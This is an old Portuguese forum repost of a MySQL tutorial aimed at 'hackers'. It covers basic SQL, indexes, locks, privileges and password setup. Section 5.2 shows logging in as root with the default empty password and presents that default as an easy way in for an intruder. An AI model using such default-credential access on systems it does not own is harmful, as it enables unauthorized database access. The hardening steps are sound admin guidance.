{DESCRIBE | DESC} tbl_name {col_name | wild}

Onde:

col_name pode ser uma coluna ou string contendo os caracteres wildcards
SQL '%' e '_'.Exemplo:

- Criamos uma simples tabela:

mysql> create table dados(nome char(30) not null, idade int(5) not null,
    -> estado_civil char(10) not null)\g
Query OK, 0 rows affected (0.01 sec)

- Inserimos Valores:

mysql> insert into dados values("Jose","21","Casado"),("Maria","20",
    -> "Solteira"),("Joao","16","Solteiro")\g
Query OK, 3 rows affected (0.01 sec)
Records: 3  Duplicates: 0  Warnings: 0

- Finalmente usamos DESCRIBE para obter informacoes sobre as colunas:

mysql> describe dados;
+--------------+----------+------+-----+---------+-------+
| Field        | Type     | Null | Key | Default | Extra |
+--------------+----------+------+-----+---------+-------+
| nome         | char(30) |      |     |         |       |
| idade        | int(5)   |      |     | 0       |       |
| estado_civil | char(10) |      |     |         |       |
+--------------+----------+------+-----+---------+-------+
3 rows in set (0.01 sec)

mysql> desc dados nome\g
+-------+----------+------+-----+---------+-------+
| Field | Type     | Null | Key | Default | Extra |
+-------+----------+------+-----+---------+-------+
| nome  | char(30) |      |     |         |       |
+-------+----------+------+-----+---------+-------+
1 row in set (0.00 sec)

* CREATE INDEX -> Essa intrucao eh usada para criar index em uma tabela.
---------------   Sua Sintaxe:

CREATE [UNIQUE] INDEX index_name ON tbl_name (col_name[(length)],... )

Onde index_name eh o nome do index.Exemplo:

Usando a tabela criada no exemplo anterior podemos fazer:

mysql> create index N on dados (nome(2))\g
Query OK, 3 rows affected (0.03 sec)
Records: 3  Duplicates: 0  Warnings: 0

Criamos entao o index de nome "N" da tabela "dados" contendo 2 elementos
da coluna "nome".Veremos entao informacoes sobre esse index criado:

mysql> show index from dados;
+-----+----------+--------+------------+------+---------+-----------+--------+
|Table|Non_unique|Key_name|Seq_in_index|Coluna|Collation|Cardinality|Sub_part|
+-----+----------+--------+------------+------+---------+-----------+--------+
|dados|        1 | N      |          1 | nome | A       |  NULL     |       2|
+-----+----------+--------+------------+------+---------+-----------+--------+
1 row in set (0.01 sec)

Eu mudei um pouco acima para que de para entender melhor.Nao se preocupe se
nao couber em sua tela, isso eh normal.

* DROP INDEX -> Instrucao usada para apagar um index.Sintaxe:
-------------

DROP INDEX index_name ON tbl_name

Podemos usar o exemplo anterior para mostrar o uso de DROP INDEX.

mysql> drop index N on dados\g
Query OK, 3 rows affected (0.07 sec)
Records: 3  Duplicates: 0  Warnings: 0

* LOCK TABLES -> Essa instrucao eh usada para bloquear(travar) tabela no
--------------   thread atual.Sua sintaxe:

LOCK TABLES tbl_name [AS alias] {READ | [READ_LOCAL] | [LOW_PRIORITY]
       WRITE} [, tbl_name {READ | [LOW_PRIORITY] WRITE} ...]

Onde:

READ - Trava a tabela p/ escrita..(Cuidado para nao se confundir!).Exe:

mysql> lock tables dados READ\g
Query OK, 0 rows affected (0.01 sec)

Abre uma outra conexao(no caso thread) e tente inserir valores na tabela:

mysql> insert into dados values ('Silvia','17','Casada')\g

Fica travada.Esperando a boa feh do cara ou um control + C.

WRITE - Trava a tabela para leitura.Desse modo, a tabela nao pode ser
   visualizada:

mysql> lock table dados WRITE\g
Query OK, 0 rows affected (0.00 sec)

Em outro thread, tente:

mysql> select * from dados\g
\c
,x,x,x
Aborted

Saih com control + C, mas se o cara que bloqueou a tabela desbloquer,
aih tudo tranquilo.

[Anonymous]

* * Continuação!!
Eu estava excedendo o limite de caracteres, então criei outro post!!


* UNLOCK TABLES -> Instrucao usada para desbloquear uma tabela.Sintaxe:
----------------
Nos exemplo acima, vimos como se bloqueia uma tabela, para desbloquear
nao tem muito segredo, basta:

mysql> unlock tables\g
Query OK, 0 rows affected (0.00 sec)

* GRANT -> Esta instrucao permite ao adminitrador conceder privilegio(s)
--------   aos usuarios do MySQL em quatro niveis:

Global level -> Privilegios globais, aplicados a todas as databases em
      um dado servidor MySQL.Estes privilegios sao armazenados
      na tabela mysql.user.

Database level -> Privilegios database, aplicados a toda tabela em um
        dado database.Estes privilegios sao armazenados nas
        tabelas mysql.db e mysql.host.

Table level -> Privilegios de tabela, aplica-se a todas as colunas de uma
          dada tabela.Esses privilegios sao armazenados na tabela
          mysql.tables_priv.

Column level -> Privilegios de Coluna, aplica-se a coluna singular(unica)
      em uma dada tabela.Estes privilegios sao armazenados na
      tabela mysql.columns_priv table.

A Sintaxe para GRANT eh a seguinte:

GRANT priv_type [(column_list)] [, priv_type [(column_list)] ...]
      ON {tbl_name | * | *.* | db_name.*}
      TO user_name [IDENTIFIED BY 'password']
      [, user_name [IDENTIFIED BY 'password'] ...] [WITH GRANT OPTION]

Onde priv_type deve ser especificado como uma das seguintes maneiras:

ALL PRIVILEGES      FILE                RELOAD
ALTER               INDEX               SELECT
CREATE              INSERT              SHUTDOWN
DELETE              PROCESS             UPDATE
DROP                REFERENCES          USAGE

Detalhes do uso de GRANT podem ser vistos na parte 'Administracao Basica',
mais abaixo nesse tutorial.

* REVOKE -> Eh o antonimo de GRANT.GRANT eh usado para conceder privilegios,
---------   REVOKE eh usado para remover privilegios.Sua Sintaxe:

REVOKE priv_type [(column_list)] [, priv_type [(column_list)] ...]
       ON {tbl_name | * | *.* | db_name.*}
       FROM user_name [, user_name ...]

Onde priv_type de REVOKE eh equivalente ao de GRANT.Voce pode usar qualquer
um daqueles.

Para um fucador, essas duas instrucoes podem vir a ser muito uteis.Atencao
dobrada nelas, mas todo cuidado com essas tabelas de privilegios!

Existem varios outras opcoes ainda.Mas o basico eh isso que descrevi.Com
isso se pode fazer muita coisa, caso necessite, de uma olhada na secao
'Links e Referencias' no final deste tutorial.


4.3 Enviando Queries
---------------------
Veremos agora alguns principios basicos de entrada de comandos, usando
alguns "queries"(pedidos de informacoes sobre algo) para nos
familiarizarmos com a forma com que o mysql trabalha.Se voce acompanhou
bem todas as explicacoes e exemplos, isso aqui nao eh necessario.Abaixo
segue um simples comando que pergunta ao servidor qual a versao dele e
a data atual:

mysql> SELECT VERSION(), CURRENT_DATE;
+-----------+--------------+
| version() | CURRENT_DATE |
+-----------+--------------+
| 3.22.32   | 2000-05-24   |
+-----------+--------------+
1 row in set (0.00 sec)

mysql>
Este query ilustra algumas coisas sobre mysql:

* Um comando normalmente consiste de uma declaracao SQL seguida de um
  ponto e virgula.(Existem algumas excecoes onde o ponto e virgula nao eh
  necessario.O comando QUIT (para sair do servidor = quit) eh um deles.

* Quando voce edita um comando, mysql envia ele para o servidor para
  execucao e mostra o resultado, entao imprime outro " mysql> " para
  indicar que ele pode ler(estah a espera) de outro comando.

* Mysql mostra a saida do query como uma tabela(Filas - colunas).
  A primeira fila contem os nomes(labels) para as colunas.As filas
  seguintes sao os resultados dos queries.Normalmente, os nomes das colunas
  sao das colunas que voce traz das tabelas do banco de dados.

* mysql mostra quantas filas ele retornou e quanto tempo levou para
  executar o query(1 row in set (0.00 sec)).Isto serve para nos dar uma
  ideia da performance do servidor(meu demorado 586!!).

As instrucoes podem ser digitadas em qualquer tipo(maiusculas ou minusculas),
o mysql nao eh case sensitive.Os seguintes queries sao equivalentes:

mysql> SELECT VERSION(), CURRENT_DATE;
mysql> select version(), current_date;
mysql> SeLeCt vErSiOn(), current_DATE;

Um outro exemplo de query mostrando que o mysql pode ser usado como
uma calculadora segue abaixo:

mysql> SELECT SIN(PI()/4), (4+1)*5;
+-------------+---------+
| SIN(PI()/4) | (4+1)*5 |
+-------------+---------+
|    0.707107 |      25 |
+-------------+---------+
1 row in set (0.00 sec)

mysql>
Os comandos acima tem sido relativamente curtos, declaracoes em uma soh
linha.Voce pode ter multiplas declaracoes em uma soh linha.Basta separar
com ponto e virgula, veja:

mysql> SELECT VERSION(); SELECT NOW();
+-----------+
| version() |
+-----------+
| 3.22.32   |
+-----------+
1 row in set (0.01 sec)

+---------------------+
| NOW()               |
+---------------------+
| 2000-05-24 22:35:39 |
+---------------------+
1 row in set (0.00 sec)

mysql>
Mysql determina aonde voce declara o fim procurando o ponto e virgula
final, e nao procurando pelo fim de uma linha.(Em outras palavras:
mysql aceita formato-livre de entrada de dados, ele coleciona ou junta
as linhas entradas mas nao as executa ateh que ele encontre o ponto e
virgula.Abaixo segue um exemplo disso:

mysql> select
    -> user()
    -> ,
    -> current_date;
+---------------------+--------------+
| user()              | current_date |
+---------------------+--------------+
| anonymous@localhost | 2000-05-24   |
+---------------------+--------------+
1 row in set (0.00 sec)

Neste exemplo acima, podemos notar que o prompt mudou de mysql> para ->
apos voce digitar enter na primeira linha.Isto eh porque mysql indica
que ele nao tem visto uma declaracao completa e estah esperando pelo
resto.

Digamos que voce estah processando varias entradas, e no meio do caminho
voce decide que nao quer processar algo que jah foi digitado, voce pode
cancelar digitando \c:

mysql> select
    -> user()
    -> \c
mysql>

Acima voce nota que ele nao processou nada, pois nao deu o tempo nem nada
como resposta.

A tabela abaixo nos mostra o significado de alguns prompts usado pelo mysql:

mysql> Esse prompt indica que ele estah esperando por um novo comando.
->     Esse prompt indica que ele estah esperando pela proxima linha de
       um comando com multiplas linhas.
'>     Espera pela proxima linha, coletando uma string que inicia com um
       apostrofo(').
">     Espera pela proxima linha, coletando uma string que inicia com uma
       aspas(").

Os prompts '> e "> geralmente ocorrem durante coleta de strings.Em MySQL,
voce pode escrever strings rodeadas por apostofros (') ou aspas("), por
exemplo 'hacker' ou "fucador".Quando voce comeca a declaracao numa linha,
mas necessita de varias, MySQL mostra que voce entrou um string comecando
com ' ou ".Os prompts servem justamente para alertar quanto a isso.
Vejamos um exemplo:

mysql> SELECT * FROM my_table WHERE name = 'Jose AND idade < 30;
    '>
Voce pode notar acima isso.Verah tambem que para sair desse prompt, voce
terah que digitar um ', nem mesmo \c sai disso.Vode poderia tambem para
fugir, digitar na mesma linha '\c.


4.3 Exemplos de Queries Comuns
-------------------------------
Nesse item, veremos alguns dos exemplos basicos de queries.Nada complexo.
Suponhamos que voce queira colocar no banco de dados uma lista com precos
de CDs(ou mesmo baixar os precos de alguns. :).), voce poderia criar algo
assim:

* Primeiro criamos a database, se jah tiver, passe para o proximo item:

mysql> CREATE DATABASE precos;
Query OK, 1 row affected (0.06 sec)

* Depois a selecionamos:

mysql> use precos
Database changed

* Em seguida pedimos para ele nos mostrar as tabelas contidas nesse
  database:

mysql> show tables;
Empty set (0.04 sec)

* Como vimos, no meu exemplo, ela estah vazia.Entao vamos criar a tabela:

mysql> CREATE TABLE preco(
    -> cds INT(2) UNSIGNED ZEROFILL DEFAULT '00' NOT NULL,
    -> preco DOUBLE(16,2)             DEFAULT '0.00' NOT NULL,
    -> PRIMARY KEY(cds,preco));
Query OK, 0 rows affected (0.33 sec)

Na primeira linha ordenamos a criacao da tabela, na segunda definimos os
dados da primeira coluna, na terceira, os dados da segunda coluna, primary
key ordena quais colunas devem ser definidas como nao nulas.

mysql> INSERT INTO preco VALUES
    -> (1,20.30), (2, 40.56), (3, 75.80);

O que fizemos acima foi colocar os valores na tabela.Agora vamos ver
como ficou nossa tabela:

mysql> SELECT * FROM preco;
+-----+-------+
| cds | preco |
+-----+-------+
|  01 | 20.30 |
|  02 | 40.56 |
|  03 | 75.80 |
+-----+-------+
3 rows in set (0.01 sec)

Aih estah nossa tabela construida.

* Vejamos agora como ficou as tabelas no nosso database:

mysql> show tables;
+------------------+
| Tables in precos |
+------------------+
| preco            |
+------------------+
1 row in set (0.00 sec)

Isso mesmo.O esquema acima eh simples, mas vamos melhorar ainda mais,
vamos colocar nomes de bandas para melhorar nosso esquema.Vamos criar uma
nova tabela:

mysql> create table preco2(
    -> codigo INT(3) UNSIGNED ZEROFILL DEFAULT '000' NOT NULL,
    -> banda CHAR(15)                 DEFAULT ''     NOT NULL,
    -> preco DOUBLE(16,2)             DEFAULT '0.00' NOT NULL,
    -> copias_vendidas INT(4) UNSIGNED ZEROFILL DEFAULT '0000' NOT NULL,
    -> PRIMARY KEY(codigo,banda,preco));
Query OK, 0 rows affected (0.01 sec)

Tudo ok, vamos colocar os dados:

mysql> INSERT INTO preco2  VALUES
    -> (1,'capital inicial',2.50,567),(2,'banda zero',3.75,934),
    -> (3,'plebe rube',1.42,789),(4,'legiao urbana',4.78,234),
    -> (5,'nenhum de nos',3.46,123);
Query OK, 5 rows affected (0.01 sec)
Records: 5  Duplicates: 0  Warnings: 0

Agora vamos ver como ficou nossa tabela, em seguida nosso banco de dados:

mysql> SELECT * FROM preco2;
+--------+-----------------+-------+-----------------+
| codigo | banda           | preco | copias_vendidas |
+--------+-----------------+-------+-----------------+
|    001 | capital inicial |  2.50 |            0567 |
|    002 | banda zero      |  3.75 |            0934 |
|    003 | plebe rube      |  1.42 |            0789 |
|    004 | legiao urbana   |  4.78 |            0234 |
|    005 | nenhum de nos   |  3.46 |            0123 |
+--------+-----------------+-------+-----------------+
5 rows in set (0.01 sec)

mysql> show tables;
+------------------+
| Tables in precos |
+------------------+
| preco            |
| preco2           |
+------------------+
2 rows in set (0.03 sec)

Tudo ok.Como podemos ver, o query envolvendo criacao de tabela eh bastante
simples, com um pouco de pratica, pode-se ir bem mais alem.A ordenacao das
colunas pode ser manipulada perfeitamente.Voce pode testar comandos como
os que seguem abaixo e notar as diferencas:

mysql> SELECT banda FROM preco2;
mysql> SELECT preco FROM preco2;

mysql> SELECT banda,preco FROM preco2;
+-----------------+-------+
| banda           | preco |
+-----------------+-------+
| capital inicial |  2.50 |
| banda zero      |  3.75 |
| plebe rube      |  1.42 |
| legiao urbana   |  4.78 |
| nenhum de nos   |  3.46 |
+-----------------+-------+
5 rows in set (0.01 sec)

Enfim, voce pode manipular o database para dizer o que voce desejar.
Exemplos:

* para mostrar maior preco:

mysql> select max(preco) as preco from preco2;

* para mostrar menor preco:

mysql> select min(preco) as preco from preco2;

* para ver qual banda possui menor preco:

mysql> select banda,preco from preco2 where preco=1.42;
+------------+-------+
| banda      | preco |
+------------+-------+
| plebe rube |  1.42 |
+------------+-------+
1 row in set (0.07 sec)

OBS: ele não pega diretamente, entao nesse caso, a interacao nao ocorre,
     o melhor modo eh voce pegar o menor preco e depois com o dado
     obtido, mandar ele mostrar depois qual eh a banda, como no exemplo
     acima.

* para ver qual banda vendeu mais unidades, seguem os passos abaixo:

mysql> select max(copias_vendidas) as mais_vendido from preco2;
+--------------+
| mais_vendido |
+--------------+
|          934 |
+--------------+
1 row in set (0.00 sec)

mysql> select banda,copias_vendidas as vendeu
    -> from preco2 where copias_vendidas = 934;
+------------+--------+
| banda      | vendeu |
+------------+--------+
| banda zero |   0934 |
+------------+--------+
1 row in set (0.00 sec)

Outro exemplo comum eh o uso de wildcards...Vejamos um esquema para isso:

mysql> select * from preco2 where banda LIKE '%zero'\g
+--------+------------+-------+-----------------+
| codigo | banda      | preco | copias_vendidas |
+--------+------------+-------+-----------------+
|    002 | banda zero |  3.75 |            0934 |
+--------+------------+-------+-----------------+
1 row in set (0.01 sec)

mysql>
No exemplo acima, se tivesse mais de uma banda terminando com a string
"zero", certamente apareceria.Outro possivel esquema:

mysql> select * from preco2 where codigo LIKE '__3'\g
+--------+------------+-------+-----------------+
| codigo | banda      | preco | copias_vendidas |
+--------+------------+-------+-----------------+
|    003 | plebe rube |  1.42 |            0789 |
+--------+------------+-------+-----------------+
1 row in set (0.01 sec)

No exemplo acima, ele procura por dois caracteres antes do caracter "3".

Entao amigo, o caracter wildcard '_' serve para substituir apenas 1 valor,
se voce colar 2(__), ele substituirah dois, se botar 3 (___), substituirah
tres e assim por diante.O caracter wildcard '%' nao possui uma conta limite,
se voce declara ele antes de uma string como em "%zero" tudo que eh fila
contendo a string 'zero' no final em uma coluna, serah mostrada.Se voce
colocar "zero%", ocorrerah o inverso, tudo que eh fila de uma coluna que
tiver uma string comecando com a palavra ou string 'zero' serah mostrada.
E se voce colocar "%zero%", ele irah procurar pela palavra 'zero' no meio
de uma string de uma fila de uma coluna.No mundo Unix nos podemos usar
dois wildcards para efeito de comparacao.O "?" eh igual a este "_" e
o "*" eh igual a este "%".

Para esquemas simples nao parece ter muito segredo.Pratique bem a
interacao das intrucoes e tudo serah bem mais facil, sem pratica, estudo
e dedicacao, tudo na 'arte fucadora' se torna mais dificil.

5 - ADMINISTRACAO BASICA
-------------------------
Como descrito no inicio do item acima, sao varias as possiveis operacoes
de administracao basica.Irei descrever mais algumas delas neste item.

5.1 - Controle de Acesso
-------------------------
Quando voce tenta se conectar ao servidor do MySQL, o servidor aceita ou
rejeita sua conexao baseado em sua identidade ou mesmo se voce digitou o
passwd certo ou errado.Abaixo seguem alguns possiveis esquemas para
conexao:

* O host pode ser um IP ou um hostname, ambas as operacao sao suportadas.

* O passwd pode ser uma senha em branco(sem senha).Nesse caso nao se pede
  senha, igual a conexao como anonymous.

* MySQL nao armazena os passwd em uma planilha de texto.Isso eh para que
  ninguem veja.Mas no entanto eh armazenado na user table.

* Quando o servidor le na tabela de hosts "confiaveis", ele procura pelo
  host que voce estah usando.Se for permitido, entao ele procura o MySQL
  username,   se for permitido tambem, ele ve se existe a necessidade de
  senha, se   existe, logo apos a conexao eh estabelecida.Um invasor pode
  facilitar as coisas nesse ponto.

5.2 - Setando Privilegios
--------------------------
Eu falei la em cima do uso de chmod.O por que deu ter dito aquilo fica subentendido.
Aqui iremos ver como setar privilegios.Veremos o que um administrador de rede faz para
tentar barrar nosso acesso ao banco de dados.Veremos aqui alguns perigos para o admin
que usa a versao default sem alterar a mesma e as possiveis vantagens que um fucador pode tirar.
Assim que o MySQL eh instalado e o servidor inicializado, alguns privilegios sao setados por default,
e abaixo segue algumas configuracoes:

* O usuario MySQL root eh criado com status de superusuario que pode fazer tudo.
Conexoes podem ser feitas do host local.O root passwd de inicio é vazio(sem senha), entao qualquer
um que conectar como root sem um passwd poderá fazer o que quiser.
Se o host continua default, execute o seguinte aih sem ser root no linux:

  [localhost]$ id
  uid=1000(nashleon) gid=100(users) groups=100(users)
  [localhost]$ ./mysql -u root
  Welcome to the MySQL monitor.  Commands end with ; or \g.
  Your MySQL connection id is 1 to server version: 3.22.32

  Type 'help' for help.

  mysql>  status
  --------------
  ./mysql  Ver 9.38 Distrib 3.22.32, for pc-linux-gnu (i686)

  Connection id:          2
  Current database:
  Current user:           root@localhost
  Server version          3.22.32
  Protocol version        10
  Connection              Localhost via UNIX socket
  UNIX socket             /tmp/mysql.sock
  Uptime:                    1 min 42 sec

  Threads: 1  Questions: 7  Slow queries: 0  Opens: 6  Flush tables: 1   Open tables: 2
  --------------

Como voce pode ver, por default, jah comecou mal.Mas ele avisa as coisas,
para evitar isso.Para um fucador, a configuracao default eh otima!Vejamos
como setar um passwd para o root:

[localhost]$ ./mysql -u root mysql
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 14 to server version: 3.22.32

Type 'help' for help.

mysql>UPDATE user SET Password=PASSWORD('aqui_voce_bota_a_senha')
    -> WHERE user='root';
Query OK, 0 rows affected (0.01 sec)
Rows matched: 2  Changed: 0  Warnings: 0

mysql> FLUSH PRIVILEGES;
Query OK, 0 rows affected (0.01 sec)

mysql>

Pronto.Veja que a linha correspondente ao usuario eh a segunda, onde vemos
"WHERE user='root'"; Aqui, o verdadeiro admin comeca a ter problemas.Nunca
se deve colocar um daemon sem conhecimentos basicos da seguranca do mesmo.
Um outro modo para a mesma operacao segue abaixo:

[localhost]$ ./mysql -u root mysql
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 18 to server version: 3.22.32

Type 'help' for help.

mysql> SET PASSWORD FOR root=PASSWORD('nova_senha');
Query OK, 0 rows affected (0.08 sec)

mysql>exit
Bye

O esquema acima eh bastante pratico e muito eficiente.Abaixo segue
continuando com os topicos;

* Eh criado um usuario anonymous, sem senha.Mas assim que voce seta o
  passwd para o root, todo e qualquer usuario que tentar se conectar ao
  server, anonymous tambem, terah que digitar o tal passwd.Para setar
  passwd individuais ou mesmo criar usuarios super privilegiados, os
  esquemas abaixo podem ser uteis:

  [localhost]$ ./mysql -u root mysql -p
  Enter password:
  Reading table information for completion of table and column names
  You can turn off this feature to get a quicker startup with -A

  Welcome to the MySQL monitor.  Commands end with ; or \g.
  Your MySQL connection id is 27 to server version: 3.22.32

  Type 'help' for help.

  mysql> GRANT SELECT,INSERT,UPDATE,DELETE,CREATE,DROP
      -> on *.*
      -> to nashleon@localhost
      -> IDENTIFIED BY 'nashleon';
  Query OK, 0 rows affected (0.10 sec)

Depois disso voce pode se logar no sistema como usuario nashleon e senha
nashleon.Existem diversos outros esquemas para se executar operacoes
parecidas como esta.Para setar passwd para um usuario qualquer, basta
fazermos:

[localhost]$ bin/mysql -u nashleon -p mysql
Enter password:
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 8 to server version: 3.22.32

Type 'help' for help.

mysql> set password for nashleon@localhost = PASSWORD('coracao');
Query OK, 0 rows affected (0.01 sec)

A senha agora será igual a coração.

6 - TERMINANDO
---------------
Como voce pode ver amigo, ateh mesmo os banco de dados podem ser uteis
para um fucador.Soh para efeito de ilustracao, muitos programas trabalham
em cima deles, seja pagamentos de contas, seja instalacao e venda de
produtos, enfim, os bancos de dados fazem parte do cotidiano das grandes e
medias empresas.As possibilidades de implementacao de tecnicas fucadoras
em cima dos mesmos eh ilimitada.Um administrador responsavel sabe disso e
trata de dificultar ao maximo as "brechas" que esses programas possuem.
Existe muito mais coisas e furos no MySQL, sua implementacao em WEB SERVERS
torna possivel muitas coisas, estude, vah fundo e descubra seus proprios
esquemas.A instalacao Padrao do MySQL eh um convite para se tornar root
no sistema.

6.1 - Links e Referencias
--------------------------
Acho que um bom documento sobre MySQL eh o manual.html que vem junto com
a distribuicao,foi nele que eu me baseei, de modo que recomendo mesmo a
leitura, ele eh bem mais completo do que este simples tutorial.Voce pode
obte-lo em:

http://www.mysql.com/

Outros Links muito interessantes:

http://www.bufferoverflow.org/

http://www.hacker.com.br

http://www.securenet.com.br   (Manutenção)

6.2 - Consideracoes Finais
---------------------------
Aí está amigos.
Os banco de dados existem para o mundo hacker e devemos usá-los para descobrir
suas brechas. Mas a medida que o tempo passa, as coisas vao mudando.Nao faca bobagens e nao
prejudique pessoas com o conhecimento que voce possui ou venha a possuir.Nao existe limite para o
conhecimento de modo que prejudicar alguem eh querer dar fim a esta incessante busca de aprendizado
e consequentemente aprisionar teu cerebro.


* Lembrem-se: Um cara que costuma fazer bobagens se queima frente todo mundo,
vale a pena, viver a ética hacker, eu acho que compensa!
   Abraços!!  []

*Créditos citados acima!

[Reeves]

vlwww kra! 

fico bacana!!!